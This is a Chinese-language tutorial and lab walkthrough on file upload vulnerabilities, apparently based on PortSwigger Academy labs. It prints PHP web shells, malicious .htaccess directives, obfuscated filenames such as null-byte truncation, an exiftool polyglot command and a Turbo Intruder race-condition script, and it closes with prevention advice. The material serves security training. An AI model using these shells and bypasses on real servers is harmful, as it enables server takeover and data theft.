portswigger lab 文件上传漏洞 File upload vulnerabilities

portswigger lab 文件上传漏洞 File upload vulnerabilities

目录导航

在本节中,您将了解如何将简单的文件上传函数用作许多高严重性攻击的强大载体。我们将向您展示如何绕过常见的防御机制以上传 Web Shell,从而使您能够完全控制易受攻击的 Web 服务器。鉴于文件上传功能的常见程度,知道如何正确测试它们是必不可少的知识。

什么是文件上传漏洞?

文件上传漏洞是指 Web 服务器允许用户在没有充分验证文件名称、类型、内容或大小等内容的情况下将文件上传到其文件系统。未能正确执行这些限制可能意味着即使是基本的图像上传功能也可用于上传任意且具有潜在危险的文件。这甚至可以包括启用远程代码执行的服务器端脚本文件。

在某些情况下,上传文件的行为本身就足以造成损害。其他攻击可能涉及对文件的后续 HTTP 请求,通常是为了触发服务器执行该文件。

portswigger lab 文件上传漏洞 File upload vulnerabilities

文件上传漏洞有什么影响?

文件上传漏洞的影响一般取决于两个关键因素:

  • 网站未能正确验证文件的哪个方面,无论是其大小、类型、内容等。
  • 文件成功上传后会受到哪些限制。

在最坏的情况下,文件的类型没有得到正确验证,服务器配置允许某些类型的文件(例如.php.jsp)作为​​代码执行。在这种情况下,攻击者可能会上传一个充当 Web shell 的服务器端代码文件,从而有效地授予他们对服务器的完全控制权。

如果文件名没有得到正确验证,这可能允许攻击者通过上传同名文件来覆盖关键文件。如果服务器也容易受到目录遍历的攻击,这可能意味着攻击者甚至可以将文件上传到意外位置。

未能确保文件大小在预期阈值范围内还可能导致某种形式的拒绝服务 (DoS) 攻击,攻击者借此填满可用的磁盘空间。

文件上传漏洞是如何产生的?

鉴于相当明显的危险,野外网站很少对允许用户上传哪些文件有任何限制。更常见的是,开发人员实施他们认为具有内在缺陷或可以轻松绕过的强大验证。

例如,他们可能会尝试将危险文件类型列入黑名单,但在检查文件扩展名时未能考虑解析差异。与任何黑名单一样,也很容易意外忽略可能仍然危险的更晦涩的文件类型。

在其他情况下,网站可能会尝试通过验证攻击者可以使用 Burp Proxy 或 Repeater 等工具轻松操纵的属性来检查文件类型。

最终,即使是强大的验证措施也可能在构成网站的主机和目录网络中不一致地应用,从而导致可以利用的差异。

在本主题的后面,我们将教您如何利用这些缺陷上传 Web shell 以进行远程代码执行。我们甚至创建了一些交互式的、故意易受攻击的实验室,以便您可以针对一些现实目标练习您所学的内容。

Web 服务器如何处理对静态文件的请求?

在我们研究如何利用文件上传漏洞之前,您必须对服务器如何处理静态文件请求有一个基本的了解。

从历史上看,网站几乎完全由静态文件组成,这些文件会在用户请求时提供给用户。因此,每个请求的路径可以与服务器文件系统上的目录和文件的层次结构 1:1 映射。如今,网站越来越动态,请求的路径通常与文件系统没有直接关系。尽管如此,Web 服务器仍会处理对一些静态文件的请求,包括样式表、图像等。

处理这些静态文件的过程仍然大致相同。在某些时候,服务器会解析请求中的路径以识别文件扩展名。然后它使用它来确定所请求文件的类型,通常通过将其与扩展名和 MIME 类型之间的预配置映射列表进行比较。接下来会发生什么取决于文件类型和服务器的配置。

  • 如果此文件类型是不可执行的,例如图像或静态 HTML 页面,则服务器可能只是在 HTTP 响应中将文件的内容发送给客户端。
  • 如果文件类型是可执行的,例如 PHP 文件,并且服务器被配置为执行这种类型的文件,它会在运行脚本之前根据 HTTP 请求中的标头和参数分配变量。然后可以将结果输出以 HTTP 响应的形式发送到客户端。
  • 如果文件类型是可执行的,但服务器没有配置为执行这种类型的文件,它通常会响应错误。但是,在某些情况下,文件的内容可能仍以纯文本形式提供给客户端。这种错误配置有时会被利用来泄露源代码和其他敏感信息。您可以在我们的信息披露学习材料 中看到一个这样的例子。

提示

Content-Type响应标头可能会提供有关服务器认为它已提供的文件类型的线索 。如果应用程序代码没有明确设置此标头,它通常包含文件扩展名/MIME 类型映射的结果。

现在您已经熟悉了关键概念,让我们来看看您可以如何潜在地利用这些类型的漏洞。

利用不受限制的文件上传来部署 web shell

从安全角度来看,最糟糕的情况是网站允许您上传服务器端脚本,例如 PHP、Java 或 Python 文件,并且还配置为将它们作为代码执行。这使得在服务器上创建自己的 web shell 变得很简单。

web shell简介

Web shell 是一种恶意脚本,攻击者只需将 HTTP 请求发送到正确的端点,就可以在远程 Web 服务器上执行任意命令。

如果您能够成功上传 Web Shell,您就可以有效地完全控制服务器。这意味着您可以读取和写入任意文件、泄露敏感数据,甚至可以使用服务器对内部基础设施和网络外的其他服务器进行攻击。例如,以下 PHP 代码可用于从服务器的文件系统中读取任意文件:

<?php echo file_get_contents('/path/to/target/file'); ?>

上传后,发送对该恶意文件的请求将在响应中返回目标文件的内容。

通过上传webshell执行远程代码

靶场地址:

lab-file-upload-remote-code-execution-via-web-shell-upload

靶场说明

本实验室包含易受攻击的图片上传功能。在将用户上传的文件存储在服务器的文件系统之前,它不会对它们执行任何验证。

为了解决这个实验,上传一个基本的 PHP web shell 并使用它来泄露/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

①使用wiener:peter登录页面

②选择一个正常的(较小的)图片文件进行上传

portswigger lab 文件上传漏洞 File upload vulnerabilities

③将文件后缀名.png改成.php

portswigger lab 文件上传漏洞 File upload vulnerabilities

④删除原来的图片内容

portswigger lab 文件上传漏洞 File upload vulnerabilities

⑤将图片内容替换为php webshell并上传

因为该实验要我们读取/home/carlos/secret文件的内容,所以,简单的php文件读取代码如下:

<?php echo file_get_contents('/home/carlos/secret'); ?>
portswigger lab 文件上传漏洞 File upload vulnerabilities

⑥访问上传的webshell

接下来刷新页面查看我们的头像,可以看到图片为损坏的,说明我们已经成功上传php文件,右键访问即可:

portswigger lab 文件上传漏洞 File upload vulnerabilities

⑦点击提交答案即可完成实验

一个更通用的 web shell 可能看起来像这样:

<?php echo system($_GET['command']); ?>

此脚本使您能够通过查询参数传递任意系统命令,如下所示:

GET /example/exploit.php?command=id HTTP/1.1

利用有缺陷的文件上传验证

在野外,您不太可能找到一个网站,它对文件上传攻击没有任何保护,就像我们在之前的实验室中看到的那样。但仅仅因为防御措施到位,并不意味着它们是强大的。

在本节中,我们将研究 Web 服务器尝试验证和清理文件上传的一些方法,以及如何利用这些机制中的缺陷来获取用于远程代码执行的 Web shell。

有缺陷的文件类型验证

提交 HTML 表单时,浏览器通常会在POST请求中以 content type发送所提供的数据application/x-www-form-url-encoded。这适用于发送您的姓名、地址等简单文本,但不适用于发送大量二进制数据,例如整个图像文件或 PDF 文档。在这种情况下,内容类型multipart/form-data是首选方法。

考虑一个包含用于上传图像、提供图像描述和输入用户名的字段的表单。提交此类表单可能会导致请求如下所示:

POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
---------------------------012345678901234567890123456--

如您所见,消息正文被拆分为每个表单输入的单独部分。每个部分都包含一个Content-Disposition标题,该标题提供了有关与其相关的输入字段的一些基本信息。这些单独的部分也可能包含它们自己的Content-Type标头,它告诉服务器使用此输入提交的数据的 MIME 类型。

网站可能尝试验证文件上传的一种方法是检查此特定于输入的Content-Type标头是否与预期的 MIME 类型匹配。例如,如果服务器只需要图像文件,它可能只允许image/jpeg和之类的类型image/png。当此标头的值被服务器隐式信任时,可能会出现问题。如果不执行进一步的验证来检查文件的内容是否实际匹配假定的 MIME 类型,则可以使用 Burp Repeater 等工具轻松绕过这种防御。

通过绕过Content-Type 限制上传Web shell

靶场地址:

lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

靶场说明

本实验室包含易受攻击的图片上传功能。它试图阻止用户上传意外的文件类型,但依靠检查用户可控输入来验证这一点。

为了解决这个实验,上传一个基本的 PHP web shell 并使用它来读取/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

①使用wiener:peter登录页面

②选择一个正常的(较小的)图片文件进行上传

portswigger lab 文件上传漏洞 File upload vulnerabilities

在未进行任何修改的情况下我们发现上传失败!

③修改Content-Type

Content-Type: application/octet-stream

改为:

Content-Type: image/jpeg
portswigger lab 文件上传漏洞 File upload vulnerabilities

成功上传webshell.

④访问webshell,读取文件并提交flag,完成实验.

portswigger lab 文件上传漏洞 File upload vulnerabilities

防止在用户可访问的目录中执行文件

虽然首先防止危险文件类型被上传显然更好,但第二道防线是阻止服务器执行任何通过网络溜走的脚本。

作为预防措施,服务器通常只运行其 MIME 类型已明确配置为执行的脚本。否则,它们可能只是返回某种错误消息,或者在某些情况下,将文件内容作为纯文本提供:

GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39

<?php echo system($_GET['command']); ?>

这种行为本身可能很有趣,因为它可能会提供一种泄漏源代码的方法,但它会使任何创建 Web shell 的尝试无效。

这种配置通常在目录之间有所不同。用户提供的文件上传到的目录可能比文件系统上假定最终用户无法访问的其他位置具有更严格的控制。如果您能找到一种方法将脚本上传到不应该包含用户提供的文件的不同目录,那么服务器最终可能会执行您的脚本。

提示:

Web 服务器经常使用请求中的filename字段multipart/form-data来确定文件应保存的名称和位置。

通过路径遍历上传 Web shell

靶场地址:

通过路径遍历上传 Web shell

靶场说明

本实验室包含易受攻击的图片上传功能。服务器被配置为阻止执行用户提供的文件,但可以通过利用次要漏洞绕过此限制。

为了解决这个实验,上传一个基本的 PHP web shell 并使用它来泄露/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

①使用wiener:peter登录页面

②选择一个正常的(较小的)图片文件进行上传

③将图片内容改为webshell,文件名后缀名改为.php

portswigger lab 文件上传漏洞 File upload vulnerabilities

webshell上传成功

④访问webshell:

portswigger lab 文件上传漏洞 File upload vulnerabilities

此时我们发现webshell直接显示出源代码了,未执行,说明该目录下没有执行权限,于是我们应该考虑上传到其他目录下,试试目录遍历.

⑤将文件名改为../1.php上传

portswigger lab 文件上传漏洞 File upload vulnerabilities

再次访问webshell:

portswigger lab 文件上传漏洞 File upload vulnerabilities

结果发现是404

⑥url编码/%2f再次上传:

portswigger lab 文件上传漏洞 File upload vulnerabilities

webshell文件上传成功,再次访问:

portswigger lab 文件上传漏洞 File upload vulnerabilities

webshell上传到上层文件,成功执行并读取文件:

portswigger lab 文件上传漏洞 File upload vulnerabilities

您还应该注意,即使您可以将所有请求发送到同一个域名,这通常指向某种反向代理服务器,例如负载均衡器。您的请求通常由幕后的其他服务器处理,这些服务器的配置也可能不同。

危险文件类型的黑名单不足

防止用户上传恶意脚本的最明显方法之一是将具有潜在危险的文件扩展名(如.php 黑名单的做法本质上是有缺陷的,因为很难明确阻止每个可能用于执行代码的文件扩展名。有时可以通过使用鲜为人知的替代文件扩展名绕过此类黑名单,这些扩展名可能仍然是可执行的,例如.php5,.shtml等。

覆盖服务器配置

正如我们在上一节中所讨论的,服务器通常不会执行文件,除非它们已被配置为这样做。例如,在 Apache 服务器执行客户端请求的 PHP 文件之前,开发人员可能必须将以下指令添加到他们的/etc/apache2/apache2.conf文件中:

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

许多服务器还允许开发人员在各个目录中创建特殊的配置文件,以便覆盖或添加一个或多个全局设置。例如,Apache 服务器将从一个名为(.htaccess如果存在)的文件中加载特定于目录的配置。

同样,开发人员可以使用web.config文件在 IIS 服务器上进行特定于目录的配置。这可能包括如下指令,在这种情况下允许将 JSON 文件提供给用户:

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

Web 服务器在存在时使用这些类型的配置文件,但通常不允许您使用 HTTP 请求访问它们。但是,您可能偶尔会发现无法阻止您上传自己的恶意配置文件的服务器。在这种情况下,即使您需要的文件扩展名被列入黑名单,您也可以欺骗服务器将任意自定义文件扩展名映射到可执行的 MIME 类型。

通过扩展黑名单绕过 Web shell 上传

靶场地址:

lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

靶场说明:

本实验室包含易受攻击的图片上传功能。某些文件扩展名被列入黑名单,但由于此黑名单的配置存在根本缺陷,可以绕过这种防御。

为了解决这个实验,上传一个基本的 PHP web shell,然后用它来读取/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

你需要上传两个不同的文件来解决这个实验。

解决方案:

  1. 登录并上传一张图片作为您的头像,然后返回您的帐户页面。
  2. 在 Burp 中,转到Proxy > HTTP history并注意您的图像是使用GET请求/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp 中继器。
  3. 在您的系统上,创建一个名为的文件,exploit.php其中包含一个用于获取secret内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
  4. 尝试将此脚本上传为您的头像。响应表明您不允许上传带有.php扩展名的文件。
  5. 在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。在响应中,请注意标头显示您正在与 Apache 服务器通信。将此请求发送到 Burp 中继器。
  6. 在 Burp Repeater 中,转到POST /my-account/avatar请求的选项卡并找到与您的 PHP 文件相关的正文部分。进行以下更改:
    • filename将参数 的值更改为.htaccess
    • Content-Type将标头 的值更改为text/plain.
    • 将文件的内容(您的 PHP 有效负载)替换为以下 Apache 指令:AddType application/x-httpd-php .l33t这会将任意扩展名 ( .l33t) 映射到可执行 MIME 类型application/x-httpd-php。由于服务器使用该mod_php模块,它已经知道如何处理这个问题。
  7. 发送请求,观察文件上传成功与否。
  8. 使用 Burp Repeater 中的后退箭头返回到上传 PHP 漏洞的原始请求。
  9. filename将参数 的值从 exploit.php更改为exploit.l33t。再次发送请求,发现文件上传成功。
  10. 切换到包含GET /files/avatars/<YOUR-IMAGE>请求的另一个中继器选项卡。在路径中,将图像文件的名称替换为exploit.l33t并发送请求。观察响应中返回了 secret的内容。多亏了我们的恶意.htaccess文件,该.l33t文件就像一个.php文件一样被执行。
  11. 提交解决实验室的秘密。
①上传.htaccess文件

文件内容如下:

AddType application/x-httpd-php .l33t
portswigger lab 文件上传漏洞 File upload vulnerabilities

这会将任意扩展名 ( .l33t) 映射到可执行 MIME 类型application/x-httpd-php。简而言之,所有上传的.l33t文件都会被当作php文件执行.

此时需要将Content-Typ改为text/plain

当然,l33t可以改成其他的任何后缀.

②上传.l33t结尾的webshell
portswigger lab 文件上传漏洞 File upload vulnerabilities
③访问webshell文件:
portswigger lab 文件上传漏洞 File upload vulnerabilities

混淆文件扩展名

即使是最详尽的黑名单也可能被经典的混淆技术绕过。假设验证代码区分大小写并且无法识别它exploit.pHp实际上是一个.php文件。如果随后将文件扩展名映射到 MIME 类型的代码区分大小写,则这种差异允许您将恶意 PHP 文件偷偷通过验证,最终可能由服务器执行。

您还可以使用以下技术获得类似的结果:

  • 提供多个扩展。根据用于解析文件名的算法,以下文件可能被解释为 PHP 文件或 JPG 图像:exploit.php.jpg
  • 添加尾随字符。一些组件会去除或忽略尾随空格、点等:exploit.php.
  • 尝试对点、正斜杠和反斜杠使用 URL 编码(或双 URL 编码)。如果在验证文件扩展名时该值没有被解码,但后来在服务器端被解码,这也可以让您上传会被阻止的恶意文件:exploit%2Ephp
  • 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpgexploit.asp%00.jpg
  • 尝试使用多字节 unicode 字符,在 unicode 转换或规范化后可能会转换为空字节和点xC0 x2E如果文件名被解析为 UTF-8 字符串,则类似xC4 xAE或的序列xC0 xAE可能会被转换为x2E,但随后会在用于路径之前转换为 ASCII 字符。

其他防御措施包括剥离或替换危险的扩展名以防止文件被执行。如果不递归地应用此转换,您可以定位禁止的字符串,以便删除它仍然留下有效的文件扩展名。例如,考虑.php从以下文件名中剥离会发生什么:

exploit.p.phphp

这只是混淆文件扩展名的众多方法中的一小部分。

通过混淆文件扩展名上传 Web shell

%00截断

靶场地址:

lab-file-upload-web-shell-upload-via-obfuscated-file-extension

靶场说明:

本实验室包含易受攻击的图片上传功能。某些文件扩展名被列入黑名单,但可以使用经典的混淆技术绕过这种防御。

为了解决这个实验,上传一个基本的 PHP web shell,然后用它来读取/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

解决方案

  1. 登录并上传一张图片作为您的头像,然后返回您的帐户页面。
  2. 在 Burp 中,转到Proxy > HTTP history并注意您的图像是使用GET请求/files/avatars/<YOUR-IMAGE>. 将此请求发送到 Burp 中继器。
  3. 在您的系统上,创建一个名为 的文件exploit.php,其中包含一个用于获取secret内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
  4. 尝试将此脚本上传为您的头像。响应表明您只能上传 JPG 和 PNG 文件。
  5. 在 Burp 的代理历史记录中,找到POST /my-account/avatar用于提交文件上传的请求。将此发送到 Burp 中继器。
  6. 在 Burp Repeater 中,转到POST /my-account/avatar请求的选项卡并找到与您的 PHP 文件相关的正文部分。在Content-Disposition标头中,更改filename参数的值以包含 URL 编码的空字节,后跟.jpg扩展名:filename="exploit.php%00.jpg"
  7. 发送请求,观察文件上传成功。请注意,该消息将文件称为exploit.php,这表明空字节和.jpg 扩展名已被剥离。
  8. 切换到包含GET /files/avatars/<YOUR-IMAGE>请求的另一个中继器选项卡。在路径中,将图像文件的名称替换为exploit.php并发送请求。观察响应中返回了 Carlos 的秘密。
  9. 提交解决实验室的秘密。
①正常上传1.png文件
②修改内容为webshell
③修改后缀名为php%00.png
portswigger lab 文件上传漏洞 File upload vulnerabilities
④访问webshell
portswigger lab 文件上传漏洞 File upload vulnerabilities

有缺陷的文件内容验证

更安全的服务器不会隐式信任Content-Type请求中指定的内容,而是尝试验证文件的内容是否与预期内容实际匹配。

在图像上传功能的情况下,服务器可能会尝试验证图像的某些内在属性,例如其尺寸。例如,如果您尝试上传 PHP 脚本,则它根本没有任何维度。因此,服务器可以推断它不可能是图像,并相应地拒绝上传。

同样,某些文件类型可能总是在其页眉或页脚中包含特定的字节序列。这些可以用作指纹或签名来确定内容是否与预期类型匹配。例如,JPEG 文件总是以 FF D8 FF字节开头。

这是一种更可靠的文件类型验证方法,但即使这样也不是万无一失的。使用 ExifTool 等特殊工具,可以轻松创建包含元数据中恶意代码的多语言 JPEG 文件。

通过多语言上传Web shell远程执行代码

靶场地址:

lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

靶场说明:

本实验室包含易受攻击的图片上传功能。尽管它会检查文件的内容以验证它是否为正版图像,但仍然可以上传和执行服务器端代码。

为了解决这个实验,上传一个基本的 PHP web shell,然后用它来读取/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

解决方案

  1. 在您的系统上,创建一个名为exploit.php的文件,其中包含一个用于获取 secret内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
  2. 登录并尝试将脚本上传为您的头像。观察服务器成功阻止您上传不是图像的文件,即使您尝试使用您在之前的实验中学到的一些技术。
  3. 创建一个多语言 PHP/JPG 文件,该文件基本上是一个普通图像,但在其元数据中包含您的 PHP 有效负载。一种简单的方法是从命令行下载并运行 ExifTool,如下所示:exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php这会将您的 PHP 有效负载添加到图像的Comment字段中,然后使用.php扩展名保存图像。
  4. 在浏览器中,上传多语言图像作为您的头像,然后返回您的帐户页面。
  5. 在 Burp 的代理历史记录中,找到该GET /files/avatars/polyglot.php请求。使用消息编辑器的搜索功能START在响应中的二进制图像数据中的某处查找字符串。在这个和END字符串之间,您应该看到 Carlos 的秘密,例如:START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
  6. 提交解决实验室的秘密。
①安装exiftool

kali下安装命令如下:

apt install libimage-exiftool-perl
②将webshell添加到图片中并保存结果为php文件
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" ddosi.png -o ddosi.php
portswigger lab 文件上传漏洞 File upload vulnerabilities

ddosi.php中的内容如下所示:

portswigger lab 文件上传漏洞 File upload vulnerabilities
③将生成的ddosi.php上传
portswigger lab 文件上传漏洞 File upload vulnerabilities
④访问webshell地址,查找start
portswigger lab 文件上传漏洞 File upload vulnerabilities
⑤返回首页提交答案即可通关.

利用条件竞争上传文件

现代框架更能抵御此类攻击。他们通常不会将文件直接上传到文件系统上的预期目的地。相反,他们采取了预防措施,例如首先上传到临时的沙盒目录并随机命名以避免覆盖现有文件。然后,他们对这个临时文件执行验证,只有在认为安全的情况下才将其传输到目的地。

也就是说,开发人员有时会独立于任何框架来实现自己的文件上传处理。做好这件事不仅相当复杂,而且还可能引入危险的竞争条件,使攻击者能够完全绕过最强大的验证。

例如,一些网站将文件直接上传到主文件系统,如果没有通过验证,则再次将其删除。这种行为在依赖防病毒软件等检查恶意软件的网站中很常见。这可能只需要几毫秒但在文件存在于服务器上的短时间内,攻击者仍有可能执行它。

这些漏洞通常非常微妙,因此在黑盒测试期间很难检测到,除非您能找到泄漏相关源代码的方法。

通过竞争条件上传 Web shell

靶场地址:

lab-file-upload-web-shell-upload-via-race-condition

靶场说明:

本实验室包含易受攻击的图片上传功能。尽管它对上传的任何文件执行强大的验证,但可以通过在处理它们的方式中利用竞争条件来完全绕过此验证。

为了解决这个实验,上传一个基本的 PHP web shell,然后用它来读取/home/carlos/secret文件的内容。使用实验室横幅中提供的按钮提交此密钥。

您可以使用以下凭据登录到您自己的帐户:wiener:peter

靶场提示:

易受条件竞争影响的漏洞代码示例:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

解决方案:

从上面的源代码中可以看到,上传的文件被移动到一个可访问的文件夹中,在那里进行病毒检查。只有在病毒检查完成后才会删除恶意文件。这意味着可以在文件被删除之前在小时间窗口中执行文件。

注意:
由于这种竞争条件的时间窗口很大,可以通过使用 Burp Repeater 手动快速连续发送两个请求来解决这个实验。此处描述的解决方案教您一种在野外利用类似漏洞的实用方法,其中窗口可能只有几毫秒

  1. 登录并上传一张图片作为您的头像,然后返回您的帐户页面。
  2. 在 Burp 中,转到代理 > HTTP 历史记录,并注意您的图像是使用GET请求/files/avatars/<YOUR-IMAGE>.
  3. 在您的系统上,创建一个名为的文件,exploit.php其中包含一个用于获取secret内容的脚本。例如:<?php echo file_get_contents('/home/carlos/secret'); ?>
  4. 登录并尝试将脚本上传为您的头像。观察服务器似乎成功地阻止了您上传不是图像的文件,即使您尝试使用您在以前的实验中学到的一些技术也是如此。
  5. 如果您还没有,请从 BApp 商店 将Turbo Intruder扩展添加到 Burp。
  6. 右键单击POST /my-account/avatar用于提交文件上传的请求,然后选择Extensions > Turbo Intruder > Send to turbo intruder。Turbo Intruder 窗口打开。
  7. 将以下脚本模板复制并粘贴到 Turbo Intruder 的 Python 编辑器中:
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST>'''

    request2 = '''<YOUR-GET-REQUEST>'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
  1. 在脚本中,替换为包含您的文件<YOUR-POST-REQUEST>的整个POST /my-account/avatar请求。exploit.php您可以从 Turbo Intruder 窗口的顶部复制并粘贴它。
  2. 替换为获取您上传的 PHP 文件<YOUR-GET-REQUEST>的请求。GET最简单的方法是GET /files/avatars/<YOUR-IMAGE>从您的代理历史记录中复制请求,然后将路径中的文件名更改为exploit.php.
  3. 在 Turbo Intruder 窗口的底部,单击Attack。该脚本将提交一个POST上传exploit.php文件的请求,然后立即GET请求/files/avatars/exploit.php.
  4. 在结果列表中,请注意一些GET请求收到了包含 Carlos 秘密的 200 响应。这些请求在 PHP 文件上传后到达服务器,但在验证失败并被删除之前。
  5. 提交解决实验室的秘密。

注意:
如果您选择GET手动构建请求,请确保使用\r\n\r\n序列正确终止它。另请记住,Python 将保留多行字符串中的任何空格,因此您需要相应地调整缩进以确保发送有效的请求。

①安装Turbo Intruder
portswigger lab 文件上传漏洞 File upload vulnerabilities
②正常上传webshell,拦截发送到Turbo Intruder
portswigger lab 文件上传漏洞 File upload vulnerabilities
③复制python脚本,替换两个请求包(post和get):
portswigger lab 文件上传漏洞 File upload vulnerabilities
portswigger lab 文件上传漏洞 File upload vulnerabilities
④点击attack开始攻击
portswigger lab 文件上传漏洞 File upload vulnerabilities
⑤查看返回状态码为200的数据包
portswigger lab 文件上传漏洞 File upload vulnerabilities
⑥提交答案即可完成实验

基于 URL 的文件上传中的竞争条件

在允许您通过提供 URL 来上传文件的函数中可能会出现类似的竞争条件。在这种情况下,服务器必须通过 Internet 获取文件并创建本地副本,然后才能执行任何验证。

由于文件是使用 HTTP 加载的,因此开发人员无法使用其框架的内置机制来安全地验证文件。相反,他们可以手动创建自己的流程来临时存储和验证文件,这可能不太安全。

例如,如果文件被加载到具有随机名称的临时目录中,理论上,攻击者应该不可能利用任何竞争条件。如果他们不知道目录的名称,他们将无法请求文件以触发其执行。另一方面,如果随机目录名称是使用 PHP 之类的伪随机函数生成的uniqid(),则它可能会被暴力破解。

为了使此类攻击更容易,您可以尝试延长处理文件所需的时间,从而延长暴力破解目录名称的窗口。一种方法是上传更大的文件。如果它以块的形式进行处理,您可以通过在开始时创建一个带有有效负载的恶意文件,然后是大量的任意填充字节来利用这一点。

无需远程执行代码即可利用文件上传漏洞

在我们目前看到的示例中,我们已经能够上传服务器端脚本以进行远程代码执行。这是不安全的文件上传功能最严重的后果,但这些漏洞仍然可以通过其他方式被利用。

上传恶意客户端脚本

尽管您可能无法在服务器上执行脚本,但您仍然可以上传脚本以进行客户端攻击。例如,如果您可以上传 HTML 文件或 SVG 图像,则可以使用<script>标签来创建存储的 XSS有效负载。

如果上传的文件随后出现在其他用户访问的页面上,则他们的浏览器将在尝试呈现页面时执行脚本。请注意,由于同源策略限制,这些类型的攻击只有在上传的文件是从您上传文件的同一源提供时才会起作用。

利用上传文件解析中的漏洞

如果上传的文件看起来很安全,最后的手段是尝试利用特定于解析或处理不同文件格式的漏洞。例如,您知道服务器解析基于 XML 的文件,例如 Microsoft Office.doc.xls文件,这可能是XXE 注入攻击的潜在载体。

使用 PUT 上传文件

值得注意的是,某些 Web 服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这可以提供一种上传恶意文件的替代方法,即使上传功能无法通过 Web 界面使用。

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

提示:
您可以尝试向OPTIONS不同的端点发送请求,以测试任何宣传支持该PUT方法的端点。

如何防止文件上传漏洞

允许用户上传文件是司空见惯的,只要您采取正确的预防措施,就不一定会有危险。一般来说,保护您自己的网站免受这些漏洞影响的最有效方法是实施以下所有做法:

  • 根据允许扩展名的白名单而不是禁止扩展名的黑名单检查文件扩展名。猜测您可能希望允许哪些扩展比猜测攻击者可能尝试上传哪些扩展要容易得多。
  • 确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串。
  • 重命名上传的文件以避免可能导致现有文件被覆盖的冲突。
  • 在完全验证之前不要将文件上传到服务器的永久文件系统。
  • 尽可能使用已建立的框架来预处理文件上传,而不是尝试编写自己的验证机制。

系统性的学习文件上传,建议练习upload-labs靶场

https://github.com/c0ny1/upload-labs

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注